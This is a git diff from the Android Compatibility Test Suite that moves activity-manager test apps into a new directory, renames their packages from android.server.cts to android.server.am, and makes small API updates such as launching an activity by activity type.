diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
index 96697aa..a83ceaf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
index e979712..2ad5e17 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentAssistantActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentAssistantActivity.java
@@ -14,8 +14,9 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
+import static android.app.WindowConfiguration.ACTIVITY_TYPE_ASSISTANT;
import static android.content.Intent.FLAG_ACTIVITY_CLEAR_TASK;
import static android.content.Intent.FLAG_ACTIVITY_NEW_TASK;
@@ -38,7 +39,7 @@
}
final ActivityOptions options = ActivityOptions.makeBasic();
- options.setLaunchStackId(6 /* ActivityManager.StackId.ASSISTANT_STACK_ID */);
+ options.setLaunchActivityType(ACTIVITY_TYPE_ASSISTANT);
caller.startActivity(intent, options.toBundle());
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
index 1d10a51..ba60f67 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTestActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTestActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
index 9d96898..5d639db 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TranslucentTopActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TranslucentTopActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am;
import android.os.Handler;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
index 79e31b3..4334503 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
index 5e1f5d1..f644eb2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
public class TurnScreenOnAttrActivity extends AbstractLifecycleLogActivity {
private static final String TAG = TurnScreenOnAttrActivity.class.getSimpleName();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
index b1b860f..acc92b6 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrDismissKeyguardActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrDismissKeyguardActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.KeyguardManager;
import android.os.Bundle;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
index 29911fe..9ad7ddd 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnAttrRemoveAttrActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnAttrRemoveAttrActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
public class TurnScreenOnAttrRemoveAttrActivity extends AbstractLifecycleLogActivity {
private static final String TAG = TurnScreenOnAttrRemoveAttrActivity.class.getSimpleName();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
index 487f785..8f4b947 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnDismissKeyguardActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnDismissKeyguardActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.app.KeyguardManager;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
index 57ff4fb..6113a23 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnShowOnLockActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnShowOnLockActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
public class TurnScreenOnShowOnLockActivity extends AbstractLifecycleLogActivity {
private static final String TAG = TurnScreenOnShowOnLockActivity.class.getSimpleName();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
similarity index 96%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
index 29c71d0..2dddb9b 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnSingleTaskActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnSingleTaskActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
public class TurnScreenOnSingleTaskActivity extends AbstractLifecycleLogActivity {
private static final String TAG = TurnScreenOnSingleTaskActivity.class.getSimpleName();
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
index 14c2801..a1ebbab 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/TurnScreenOnWithRelayoutActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/TurnScreenOnWithRelayoutActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.view.WindowManager;
public class TurnScreenOnWithRelayoutActivity extends AbstractLifecycleLogActivity {
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
index dd12acb..ade1f74 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VirtualDisplayActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VirtualDisplayActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_PUBLIC;
@@ -24,7 +24,7 @@
import android.hardware.display.DisplayManager;
import android.hardware.display.VirtualDisplay;
import android.os.Bundle;
-import android.server.cts.tools.ActivityLauncher;
+import android.server.am.tools.ActivityLauncher;
import android.util.Log;
import android.view.Surface;
import android.view.SurfaceHolder;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
index 6ef25e2..e163aa8 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/VrTestActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/VrTestActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
import android.content.ComponentName;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
index 63e11d5..2bbe1b3 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/WallpaperActivity.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/WallpaperActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts;
+package android.server.am;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
rename to tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
index 15b55f5..4b35ccf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/tools/ActivityLauncher.java
+++ b/tests/framework/base/activitymanager/app/src/android/server/am/tools/ActivityLauncher.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts.tools;
+package android.server.am.tools;
import static android.content.Intent.FLAG_ACTIVITY_LAUNCH_ADJACENT;
import static android.content.Intent.FLAG_ACTIVITY_MULTIPLE_TASK;
@@ -27,7 +27,7 @@
import android.content.Context;
import android.net.Uri;
import android.os.Bundle;
-import android.server.cts.TestActivity;
+import android.server.am.TestActivity;
import android.util.Log;
/** Utility class which contains common code for launching activities. */
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk b/tests/framework/base/activitymanager/appDebuggable/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/Android.mk
rename to tests/framework/base/activitymanager/appDebuggable/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
rename to tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
index c00f2b6..e8a2452 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/appDebuggable/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.debuggable">
+ package="android.server.am.debuggable">
<!--
* Security policy requires that only debuggable processes can be profiled
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
similarity index 94%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
rename to tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
index 504ffcf..33034b3 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDebuggable/src/android/server/cts/debuggable/DebuggableAppActivity.java
+++ b/tests/framework/base/activitymanager/appDebuggable/src/android/server/am/debuggable/DebuggableAppActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts.debuggable;
+package android.server.am.debuggable;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk b/tests/framework/base/activitymanager/appDisplaySize/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/Android.mk
rename to tests/framework/base/activitymanager/appDisplaySize/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
rename to tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
index 7727759..a3bef31 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/appDisplaySize/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.displaysize.app">
+ package="android.server.am.displaysize">
<uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
similarity index 89%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
rename to tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
index 5da44c7..fc085be 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appDisplaySize/src/android/displaysize/app/SmallestWidthActivity.java
+++ b/tests/framework/base/activitymanager/appDisplaySize/src/android/server/displaysize/SmallestWidthActivity.java
@@ -14,7 +14,7 @@
* limitations under the License.
*/
-package android.displaysize.app;
+package android.server.am.displaysize;
import android.app.Activity;
import android.content.ComponentName;
@@ -31,7 +31,7 @@
if (extras != null && extras.getBoolean("launch_another_activity")) {
Intent startIntent = new Intent();
startIntent.setComponent(
- new ComponentName("android.server.cts", "android.server.cts.TestActivity"));
+ new ComponentName("android.server.am", "android.server.am.TestActivity"));
startActivity(startIntent);
}
}
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
similarity index 84%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
copy to tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
index 12a04ed..45942def 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndsourceapp/Android.mk
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/Android.mk
@@ -16,16 +16,16 @@
include $(CLEAR_VARS)
-# Don't include this package in any target.
-LOCAL_MODULE_TAGS := tests
+# don't include this package in any target
+LOCAL_MODULE_TAGS := optional
LOCAL_SRC_FILES := $(call all-java-files-under, src)
-LOCAL_SDK_VERSION := current
+LOCAL_SDK_VERSION := test_current
# Tag this module as a cts test artifact
LOCAL_COMPATIBILITY_SUITE := cts vts general-tests
-LOCAL_PACKAGE_NAME := CtsDragAndDropSourceApp
+LOCAL_PACKAGE_NAME := CtsDevicePrereleaseSdkApp
include $(BUILD_CTS_SUPPORT_PACKAGE)
diff --git a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
similarity index 64%
copy from hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
copy to tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
index ea636a8..76cc2b6 100644
--- a/hostsidetests/services/activityandwindowmanager/windowmanager/dndtargetappsdk23/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/AndroidManifest.xml
@@ -1,5 +1,6 @@
<?xml version="1.0" encoding="utf-8"?>
-<!-- Copyright (C) 2016 The Android Open Source Project
+<!--
+ Copyright (C) 2017 The Android Open Source Project
Licensed under the Apache License, Version 2.0 (the "License");
you may not use this file except in compliance with the License.
@@ -14,14 +15,23 @@
limitations under the License.
-->
+<!-- Manually set the compileSdkVersion and codename to simulate being compiled against
+ pre-release O SDK. -->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.wm.cts.dndtargetappsdk23">
- <application android:label="CtsDnDTarget">
- <activity android:name="android.wm.cts.dndtargetappsdk23.DropTarget">
+ package="android.server.am.prerelease"
+ android:compileSdkVersion="25"
+ android:compileSdkVersionCodename="O">
+
+ <uses-permission android:name="android.permission.DISABLE_KEYGUARD" />
+
+ <application>
+ <activity android:name=".MainActivity"
+ android:exported="true">
<intent-filter>
<action android:name="android.intent.action.MAIN"/>
<category android:name="android.intent.category.LAUNCHER"/>
</intent-filter>
</activity>
</application>
+
</manifest>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
similarity index 86%
copy from hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
copy to tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
index 578d7e5..8684faf 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/app/src/android/server/cts/ResumeWhilePausingActivity.java
+++ b/tests/framework/base/activitymanager/appPrereleaseSdk/src/android/server/am/prerelease/MainActivity.java
@@ -14,10 +14,10 @@
* limitations under the License.
*/
-package android.server.cts;
+package android.server.am.prerelease;
import android.app.Activity;
-public class ResumeWhilePausingActivity extends Activity {
- // Empty
+public class MainActivity extends Activity {
+
}
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk b/tests/framework/base/activitymanager/appSecondUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/Android.mk
rename to tests/framework/base/activitymanager/appSecondUid/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
similarity index 90%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
rename to tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
index 53aa2d4..4d4e98d 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/appSecondUid/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.second">
+ package="android.server.am.second">
<application>
<activity
@@ -34,7 +34,7 @@
android:enabled="true"
android:exported="true" >
<intent-filter>
- <action android:name="android.server.cts.second.LAUNCH_BROADCAST_ACTION"/>
+ <action android:name="android.server.am.second.LAUNCH_BROADCAST_ACTION"/>
</intent-filter>
</receiver>
</application>
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
similarity index 97%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
rename to tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
index a8ebb86..196be3e 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/LaunchBroadcastReceiver.java
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/LaunchBroadcastReceiver.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts.second;
+package android.server.am.second;
import android.app.ActivityOptions;
import android.content.BroadcastReceiver;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
similarity index 94%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
rename to tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
index cea9ed5..9607ee2 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivity.java
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts.second;
+package android.server.am.second;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
similarity index 99%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
rename to tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
index 543e008..9d66df1 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appSecondUid/src/android/server/cts/second/SecondActivityNoEmbedding.java
+++ b/tests/framework/base/activitymanager/appSecondUid/src/android/server/am/second/SecondActivityNoEmbedding.java
@@ -19,4 +19,4 @@
import android.app.Activity;
public class SecondActivityNoEmbedding extends Activity {
-}
+}
\ No newline at end of file
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk b/tests/framework/base/activitymanager/appThirdUid/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/Android.mk
rename to tests/framework/base/activitymanager/appThirdUid/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
similarity index 95%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
rename to tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
index aed24c7..ddd89b0 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/appThirdUid/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
- package="android.server.cts.third">
+ package="android.server.am.third">
<application>
<activity android:name=".ThirdActivity"
diff --git a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
similarity index 94%
rename from hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
rename to tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
index eeddc3d..4327d5f 100644
--- a/hostsidetests/services/activityandwindowmanager/activitymanager/appThirdUid/src/android/server/cts/third/ThirdActivity.java
+++ b/tests/framework/base/activitymanager/appThirdUid/src/android/server/am/third/ThirdActivity.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.cts.third;
+package android.server.am.third;
import android.app.Activity;
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk b/tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
similarity index 100%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/app/Android.mk
rename to tests/framework/base/activitymanager/displayserviceapp/app/Android.mk
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
similarity index 94%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
rename to tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
index d3ae55e..add9f60 100644
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/AndroidManifest.xml
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/AndroidManifest.xml
@@ -16,7 +16,7 @@
-->
<manifest xmlns:android="http://schemas.android.com/apk/res/android"
xmlns:androidprv="http://schemas.android.com/apk/prv/res/android"
- package="android.server.displayservice">
+ package="android.server.am.displayservice">
<uses-permission android:name="android.permission.WAKE_LOCK" />
<application android:label="CtsDisplayService">
<service android:name=".VirtualDisplayService"
diff --git a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
similarity index 98%
rename from hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
rename to tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
index eb58963..bf6b87e 100644
--- a/hostsidetests/services/activityandwindowmanager/displayserviceapp/app/src/android/server/displayservice/VirtualDisplayService.java
+++ b/tests/framework/base/activitymanager/displayserviceapp/app/src/android/server/am/displayservice/VirtualDisplayService.java
@@ -14,7 +14,7 @@
* limitations under the License
*/
-package android.server.displayservice;
+package android.server.am.displayservice;
import static android.hardware.display.DisplayManager.VIRTUAL_DISPLAY_FLAG_OWN_CONTENT_ONLY;
